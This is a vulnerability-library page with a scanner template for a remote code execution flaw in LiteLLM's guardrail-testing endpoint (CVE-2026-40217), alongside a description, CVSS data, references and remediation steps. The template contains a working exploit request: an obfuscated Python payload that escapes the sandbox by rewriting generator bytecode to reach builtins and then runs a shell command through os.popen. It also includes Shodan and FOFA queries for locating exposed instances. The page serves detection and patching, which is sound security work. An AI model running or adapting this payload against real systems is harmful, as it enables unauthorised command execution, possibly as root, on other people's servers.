/Vulnerability Library

LiteLLM < 1.25.0 - Remote Code Execution

CVE-2026-40217
Verified

Description

LiteLLM before 1.25.0 allows authenticated users with the master API key to execute arbitrary Python code through the /guardrails/test_custom_code endpoint intended for custom guardrail testing. The endpoint’s insufficient filtering mechanisms can be bypassed, allowing attackers to abuse Python’s string operations and bytecode manipulation to break out of the restricted environment. Successful exploitation may lead to remote code execution as the LiteLLM process user, which may be root when using the default Docker image.

Severity

High

CVSS Score

8.7

Published Date

August 22, 2026

Template Author

ritikchaddha

CVE-2026-40217.yaml
id: CVE-2026-40217

info:
  name: LiteLLM < 1.25.0 - Remote Code Execution
  author: ritikchaddha
  severity: high
  description: |
    LiteLLM before 1.25.0 allows authenticated users with the master API key to execute arbitrary Python code through the /guardrails/test_custom_code endpoint intended for custom guardrail testing. The endpoint’s insufficient filtering mechanisms can be bypassed, allowing attackers to abuse Python’s string operations and bytecode manipulation to break out of the restricted environment. Successful exploitation may lead to remote code execution as the LiteLLM process user, which may be root when using the default Docker image.
  impact: |
    An authenticated attacker with the master key can escape the guardrail sandbox and execute arbitrary commands on the LiteLLM host, potentially as root when using the default container.
  remediation: |
    Block /guardrails/test_custom_code at the reverse proxy, restrict admin API access, avoid exposing the management interface to untrusted networks, and do not run LiteLLM as root. Apply vendor patches when available.
  reference:
    - https://www.x41-dsec.de/lab/advisories/x41-2026-001-litellm/
    - https://github.com/BerriAI/litellm
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40217
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2026-40217
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:439373620
    fofa-query: title="LiteLLM"
  tags: cve,cve2026,litellm,guardrail,rce,intrusive

http:
  - method: POST
    path:
      - "{{BaseURL}}/guardrails/test_custom_code"

    headers:
      Authorization: Bearer {{api_key}}
      Content-Type: application/json
      Accept: application/json

    body: |
      {
        "custom_code": "def apply_guardrail(inputs, request_data, input_type):\n    obj = str.mro()[1]\n    def g(fn):\n        yield fn.placeholder\n    c = g(None).gi_code\n    gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n    cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": imp(\"os\").popen(\"id\").read()}",
        "test_input": {
          "messages": [
            {
              "role": "user",
              "content": "test"
            }
          ]
        }
      }

    skip-variables-check: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "rce\":", "success\":true")'
          - 'regex("uid=[0-9]+.*gid=[0-9]+.*", body)'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022021bacd4c1d74b9c7a6406fa0a1610999b76b5ed7abba35e0a320dc806f07faec022100d6106bc16171678cb65f16e8da9b6e7fd4383d924996f64f3c7b1d08bbc3e1dc:922c64590222798bb761d5b6d8e72950
8.7Score

CVSS Metrics

CVSS Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVE ID:
cve-2026-40217
CWE ID:
cwe-94

References

https://www.x41-dsec.de/lab/advisories/x41-2026-001-litellm/https://github.com/BerriAI/litellmhttps://nvd.nist.gov/vuln/detail/CVE-2026-40217

Remediation Steps

Block /guardrails/test_custom_code at the reverse proxy, restrict admin API access, avoid exposing the management interface to untrusted networks, and do not run LiteLLM as root. Apply vendor patches when available.